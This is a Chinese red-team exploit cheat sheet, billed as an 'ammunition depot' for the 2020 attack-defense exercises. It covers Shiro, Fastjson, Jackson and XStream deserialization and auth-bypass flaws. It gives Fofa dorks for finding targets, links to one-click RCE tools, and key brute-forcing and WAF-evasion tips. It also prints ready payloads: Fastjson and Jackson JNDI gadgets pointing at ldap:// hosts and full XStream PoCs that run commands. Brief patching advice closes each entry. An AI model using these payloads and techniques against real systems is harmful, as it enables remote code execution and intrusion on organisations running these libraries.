2020攻防演练弹药库
2020攻防演练弹药库
由于本文长度接近四万字,
Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)
1. 漏洞简介
Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用
2. 影响组件
Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
3. 漏洞指纹
set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe
, 直接发包即可
4. Fofa Dork
app="Apache-Shiro"
5. 漏洞分析
【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
https://paper.seebug.org/shiro-rememberme-1-2-4/
6. 漏洞利用
wyzxxz/shiro_rce: shiro rce 反序列 命令执行 一键工具
https://github.com/wyzxxz/shiro_rce
Apache Shiro回显poc改造计划
https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw
7. 利用技巧
1.使用多个泄露的key进行遍历, 这个在实战中确实有效
关于Shiro反序列化漏洞的延伸—升级shiro也能被shell
https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw
Shiro 100 Key
https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA
2.使用 URLDNS
进行检测提速
使用适应性最强的URLDNS
(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测
且可以使用ysoserial
提前生成序列化内容
java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "http://1234567890.test.ceye.io" > urldns.ser
然后使用占位符+目标url hash
的方法修改序列化内容中的urldns
地址
提高检测速度以及后续检测无需使用ysoserial
例如 1234567890.test.ceye.io
可以换成 md5('www.qq.com').hexdigest() [:10].test.ceye.io
也就是 9d2c68d82d.test.ceye.io
可以预先记录 hash
9d2c68d82d www.qq.com
然后进行hash查表就可以知道是DNSLOG
来自哪个目标, 性能会提高不少
3.已知目标使用了Shiro
, 可以采取Shiro-721
的报错逻辑来进行遍历key
— 星光哥
这样即使DNS不能出网, 也可以通过是否返回 rememberMe=deleteMe
来断定 shiro
key
的正确性, 前提是服务器有rememberMe=deleteMe
相关回显
8. 防护方法
1.升级Shiro到最新版
2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
3.WAF拦截Cookie中长度过大的rememberMe值
Apache Shiro Padding Oracle Attack (Shiro-721)
1. 漏洞简介
Apache Shiro 是企业常见的 Java安全框架, 由于Shiro
使用AES-CBC
模式进行加解密处理, 所以存在Padding Oracle Attack
漏洞, 已经登录的攻击者同样可以进行反序列化操作
2. 影响组件
Apache Shiro < 1.4.2
3. 漏洞指纹
set-Cookie: rememberMe=deleteMe
URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe
, 直接发包即可
4. Fofa Dork
app="Apache-Shiro"
5. 漏洞分析
Shiro 721 Padding Oracle攻击漏洞分析 – 安全客, 安全资讯平台
https://www.anquanke.com/post/id/193165
Apache Shiro 远程代码执行漏洞复现 – OnionT’s Blog
http://www.oniont.cn/index.php/archives/298.html
6. 漏洞利用
wuppp/shiro_rce_exp: Shiro RCE (Padding Oracle Attack)
https://github.com/wuppp/shiro_rce_exp
7. 利用技巧
1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX
后才可以进行利用, 看起来不是很好利用
但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥
所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性
2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe
8. 防护方法
1.升级Shiro到最新版
2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
3.WAF拦截Cookie中长度过大的rememberMe值
4.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
Apache Shiro 权限绕过漏洞 (Shiro-682)
1. 漏洞简介
Apache Shiro 是企业常见的Java安全框架, 由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异, 导致出现鉴权问题
2. 影响组件
Apache Shiro < 1.5.2
3. 漏洞指纹
set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe
, 直接发包即可
4. Fofa Dork
app="Apache-Shiro"
5. 漏洞分析
Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/
6. 漏洞利用
Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/
7. 利用技巧
1.url中间可以尝试添加 ../
, 不限于这个漏洞, 可能会有惊喜, 错误的Nginx配置也会造成新的漏洞
关于url解析的问题可以参考以下链接
A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
Tomcat URL解析差异性导致的安全问题 – 先知社区
https://xz.aliyun.com/t/7544
8. 防护方法
1.升级1.5.2版本及以上
2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式.
Fastjson 反序列化远程代码执行漏洞
1. 漏洞简介
Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响
(不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海)
2. 影响组件
Fastjson < 1.2.48 (<1.2.68?)
3. 漏洞指纹
可以通过DNS回显的方式检测后端是否使用Fastjson
{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0
可以通过DOS时间延迟或者报错回显的方式检测
无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/
fastjson < 1.2.66 版本最新漏洞分析
https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q
4. Fofa Dork
5. 漏洞分析
Fastjson <=1.2.47 远程代码执行漏洞分析 – 安全客, 安全资讯平台
https://www.anquanke.com/post/id/181874
6. 漏洞利用
1.JDK降级编译
CaijiOrz/fastjson-1.2.47-RCE: Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
源项目中最后一句
当javac版本和目标服务器差太多, 会报一个这样得到错误, 所以需要使用1.8的javac来编译Exploit.java
这里并不需要更换jdk版本, 我们可以使用JDK降级编译的手法, 这样1.8的jdk也可以编译出来1.7版本的.class
, 相信可以解决很多小伙伴的问题
javac -source 1.7 -target 1.7 Exploit.java
1.2.47版本以下通杀Poc:
{"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}}, age:11}
其中{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}
也可以替换成其他利用链
2.优先使用LDAP协议
根据实战中经验, 这里更推荐使用ldap协议进行漏洞利用, 原因如下
RMI协议的利用方式 在
JDK 6u132/7u122/8u113
及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191
及以上版本中修复了
所以,LDAP的利用方式要优于RMI, 且LDAP可以直接返回序列化对象, 绕过更高版本的JDK限制
如何绕过高版本JDK的限制进行JNDI注入 – FreeBuf专栏·安全引擎
https://www.freebuf.com/column/207439.html
7. 利用技巧
1.如何查看服务器的jdk版本呢, 这里也有个小技巧
nc -lvvp 80#[marshalsec中指定的HTTP端口]
当服务器连接过来时, User-Agent
中会标明当前服务器的JDK版本
2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上]
fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java
public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
private final static ParserConfig defaultRedisConfig = new ParserConfig();
static { defaultRedisConfig.setAutoTypeSupport(true);}
其他消息队列之类的都是同理
8. 防护方法
1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
2.WAF拦截过滤请求包中的 @type
, %u0040%u0074%u0079%u0070%u0065
, \u0040type
, \x04type
等多种编码的autotype变形
3.最少升级到1.2.48以上版本且关闭autotype选项
4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
Jackson 反序列化远程代码执行漏洞
1. 漏洞简介
Jackson 跟Fastjson一样, 当enableDefaultTyping开启时, 也是可以进行反序列化到代码执行
2. 影响组件
Jackson
3. 漏洞指纹
无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/
4. Fofa Dork
5. 漏洞分析
跟Fastjson漏洞原理都是一样的, 每次修复基本都是更新黑名单, 漏洞分析可以参考
Jackson-databind-2670远程代码执行漏洞简单分析 – 先知社区
https://xz.aliyun.com/t/7506
6. 漏洞利用
learnjavabug/jackson/src/main/java/com/threedr3am/bug/jackson at master · threedr3am/learnjavabug
https://github.com/threedr3am/learnjavabug/tree/master/jackson/src/main/java/com/threedr3am/bug/jackson
POC
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://localhost:43658/Calc"}]
7. 利用技巧
1.把Fastjson的利用链拿过来改一改就可以用, 前提是环境中存在可用的利用链
8. 防护方法
1.升级Jackson到最新版(enableDefaultTyping默认都是关的, 问题不大)
2.确保enableDefaultTyping是关闭的
3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
Xstream 反序列化漏洞
1. 漏洞简介
Xstream Java 中经常用于处理 xml 的库, 最近一次修复中(1.4.10版本)重现了历史反序列化远程代码执行漏洞, 所以也需要关注
2. 影响组件
Xstream <1.4.6, =1.4.10
3. 漏洞指纹
xml
4. Fofa Dork
5. 漏洞分析
XStream反序列化组件攻击分析 | angelwhu_blog
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅヤᄄ
6. 漏洞利用
XStream反序列化组件攻击分析 | angelwhu_blog
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅヤᄄ
import com.thoughtworks.xstream.XStream;
import java.io.IOException;
public class Main {
// POC1
public static void main(String[] args) throws IOException {
XStream xStream = new XStream();
String payload = "<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd.exe</string>\n" +
" <string>/c</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>"+
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>\n";
//POC2
// String payload = "<java.util.PriorityQueue serialization=\"custom\">\n" +
// " <unserializable-parents/>\n" +
// " <java.util.PriorityQueue>\n" +
// " <default>\n" +
// " <size>2</size>\n" +
// " <comparator class=\"org.apache.commons.beanutils.BeanComparator\">\n" +
// " <property>databaseMetaData</property>\n" +
// " <comparator class=\"java.util.Collections$ReverseComparator\"/>\n" +
// " </comparator>\n" +
// " </default>\n" +
// " <int>3</int>\n" +
// " <com.sun.rowset.JdbcRowSetImpl serialization=\"custom\">\n" +
// " <javax.sql.rowset.BaseRowSet>\n" +
// " <default>\n" +
// " <concurrency>1008</concurrency>\n" +
// " <escapeProcessing>true</escapeProcessing>\n" +
// " <fetchDir>1000</fetchDir>\n" +
// " <fetchSize>0</fetchSize>\n" +
// " <isolation>2</isolation>\n" +
// " <maxFieldSize>0</maxFieldSize>\n" +
// " <maxRows>0</maxRows>\n" +
// " <queryTimeout>0</queryTimeout>\n" +
// " <readOnly>true</readOnly>\n" +
// " <rowSetType>1004</rowSetType>\n" +
// " <showDeleted>false</showDeleted>\n" +
// " <dataSource>ldap://ip:1389/Object</dataSource>\n" +
// " <params/>\n" +
// " </default>\n" +
// " </javax.sql.rowset.BaseRowSet>\n" +
// " <com.sun.rowset.JdbcRowSetImpl>\n" +
// " <default>\n" +
// " <iMatchColumns>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " <int>-1</int>\n" +
// " </iMatchColumns>\n" +
// " <strMatchColumns>\n" +
// " <string>foo</string>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " <null/>\n" +
// " </strMatchColumns>\n" +
// " </default>\n" +
// " </com.sun.rowset.JdbcRowSetImpl>\n" +
// " </com.sun.rowset.JdbcRowSetImpl>\n" +
// " <com.sun.rowset.JdbcRowSetImpl reference=\"../com.sun.rowset.JdbcRowSetImpl\"/>\n" +
// " </java.util.PriorityQueue>\n" +
// "</java.util.PriorityQueue>";
xStream.fromXML(payload);
}
}
7. 利用技巧
1.这里 Xstream
同样影响很多使用它的开源组件, 比如Spring
系列
Maven Repository: com.thoughtworks.xstream » xstream » 1.4.10 (Usages)
https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream/1.4.10/usages
2.xml 不仅可以xxe, 还能反序列化代码执行
2.xxe 漏洞用 xxer
, 方便快捷
TheTwitchy/xxer: A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
https://github.com/TheTwitchy/xxer
8. 防护方法
-
升级到最新版
本文转自公众号洛米唯熊如有侵权请联系博主删除